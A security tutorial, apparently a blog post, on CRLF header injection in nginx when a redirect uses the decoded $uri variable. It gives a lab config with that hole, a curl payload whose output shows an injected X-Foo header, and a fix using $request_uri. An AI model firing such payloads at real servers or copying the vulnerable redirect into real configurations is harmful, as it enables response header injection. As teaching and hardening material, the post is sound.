Nginx $uri and $document_uri variables

According to nginx documentation, $uri and $document_uri contain the normalized URI whereas the normalization includes URL decoding the URI.
Working with nginx reverse proxy directives, you maybe find this configuration very familiar:

1
2
3
location /static/ {
return 302 https://example.com$uri;
}

Every file requested under /static/ folder will be redirect to another server, in this case example.com.

Carriage Return Line Feed (CRLF) Injection

A Carriage Return Line Feed (CRLF) Injection vulnerability is a type of Server Side Injection which occurs when an attacker inserts the CRLF characters in an input field to deceive the server by making it think that an object has terminated and a new one has begun.

Let’s create a docker container with nginx listening on port 8081 and a netcat listening locally on port 80. This is the nginx.conf file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
user  nginx;
worker_processes 1;

error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;


events {
worker_connections 1024;
}


http {
include /etc/nginx/mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log /var/log/nginx/access.log main;

sendfile on;
#tcp_nopush on;

keepalive_timeout 65;

#gzip on;

# include /etc/nginx/conf.d/*.conf;

server {
location /static/ {
return 302 http://172.17.0.1$uri;
}
}
}

Notice that location directive redirects all /static/ routes to our netcat. If we request /static/test.js we receive the following HTTP request:

1
2
3
4
5
6
7
8
GET /static/test.js HTTP/1.1
Host: 172.17.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Everything seems ok, but where is the problem? Let’s try to inject a CRLF like /static/%0d%0aX-Foo:%20CLRF.

1
curl "http://127.0.0.1:8081/static/%0d%0aX-Foo:%20CLRF" -v
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
*   Trying 127.0.0.1:8081...
* Connected to 127.0.0.1 (127.0.0.1) port 8081 (#0)
> GET /static/%0d%0aX-Foo:%20CLRF HTTP/1.1
> Host: 127.0.0.1:8081
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.19.8
< Date: Mon, 29 Mar 2021 09:05:45 GMT
< Content-Type: text/html
< Content-Length: 145
< Connection: keep-alive
< Location: http://172.17.0.1/static/
< X-Foo: CLRF
<
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.19.8</center>
</body>
</html>
* Connection #0 to host 127.0.0.1 left intact

Take a look at server response, we find our injected header!
Exploitation now is limited only by imagination, read more about the vulnerability risks here: https://www.netsparker.com/blog/web-security/crlf-http-header/

Mitigation

Is there a way to avoid the CRLF injection in the nginx configuration? The answer is yes: just use $request_uri insted of $uri or $document_uri.

1
2
3
4
5
server {
location /static/ {
return 302 http://172.17.0.1$request_uri;
}
}

If we repeat again the exploitation seen before now we get another different result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*   Trying 127.0.0.1:8081...
* Connected to 127.0.0.1 (127.0.0.1) port 8081 (#0)
> GET /static/%0d%0aX-Foo:%20CLRF HTTP/1.1
> Host: 127.0.0.1:8081
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.19.8
< Date: Mon, 29 Mar 2021 09:17:45 GMT
< Content-Type: text/html
< Content-Length: 145
< Connection: keep-alive
< Location: http://172.17.0.1/static/%0d%0aX-Foo:%20CLRF
<
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.19.8</center>
</body>
</html>
* Connection #0 to host 127.0.0.1 left intact

Now the carriage returns and new lines are not parsed and we can’t inject other headers.